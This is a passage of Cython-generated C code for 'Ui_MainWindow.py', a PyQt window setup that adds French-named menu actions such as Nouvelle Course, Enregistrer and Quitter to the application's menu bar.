__Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregistrer_Sous, __pyx_t_7) < 0) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":983 * self.actionEnregister.setObjectName("actionEnregister") * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") # <<<<<<<<<<<<<< * self.menuFfff.addSeparator() * self.menuFfff.addSeparator() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregistrer_Sous); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 983, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 983, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__602, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 983, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":984 * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") * self.menuFfff.addSeparator() # <<<<<<<<<<<<<< * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionNouvelle_Course) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 984, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addSeparator); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 984, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 984, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 984, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":985 * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") * self.menuFfff.addSeparator() * self.menuFfff.addSeparator() # <<<<<<<<<<<<<< * self.menuFfff.addAction(self.actionNouvelle_Course) * self.menuFfff.addAction(self.actionOuvrire) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 985, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addSeparator); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 985, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 985, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 985, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":986 * self.menuFfff.addSeparator() * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionNouvelle_Course) # <<<<<<<<<<<<<< * self.menuFfff.addAction(self.actionOuvrire) * self.menuFfff.addAction(self.actionEnregister) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addAction); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionNouvelle_Course); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 986, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":987 * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionNouvelle_Course) * self.menuFfff.addAction(self.actionOuvrire) # <<<<<<<<<<<<<< * self.menuFfff.addAction(self.actionEnregister) * self.menuFfff.addAction(self.actionEnregistrer_Sous) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addAction); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionOuvrire); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 987, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":988 * self.menuFfff.addAction(self.actionNouvelle_Course) * self.menuFfff.addAction(self.actionOuvrire) * self.menuFfff.addAction(self.actionEnregister) # <<<<<<<<<<<<<< * self.menuFfff.addAction(self.actionEnregistrer_Sous) * self.menuFfff.addSeparator() */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregister); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 988, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":989 * self.menuFfff.addAction(self.actionOuvrire) * self.menuFfff.addAction(self.actionEnregister) * self.menuFfff.addAction(self.actionEnregistrer_Sous) # <<<<<<<<<<<<<< * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionQuitter) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addAction); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregistrer_Sous); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 989, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":990 * self.menuFfff.addAction(self.actionEnregister) * self.menuFfff.addAction(self.actionEnregistrer_Sous) * self.menuFfff.addSeparator() # <<<<<<<<<<<<<< * self.menuFfff.addAction(self.actionQuitter) * self.menubar.addAction(self.menuFfff.menuAction()) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 990, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addSeparator); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 990, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 990, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 990, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":991 * self.menuFfff.addAction(self.actionEnregistrer_Sous) * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionQuitter) # <<<<<<<<<<<<<< * self.menubar.addAction(self.menuFfff.menuAction()) * self.menubar.addAction(self.menuConcurrents.menuAction()) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addAction); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 991, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":992 * self.menuFfff.addSeparator() * self.menuFfff.addAction(self.actionQuitter) * self.menubar.addAction(self.menuFfff.menuAction()) # <<<<<<<<<<<<<< * self.menubar.addAction(self.menuConcurrents.menuAction()) * self.menubar.addAction(self.menuCourses.menuAction()) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addAction); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_menuAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_1) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 992, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); 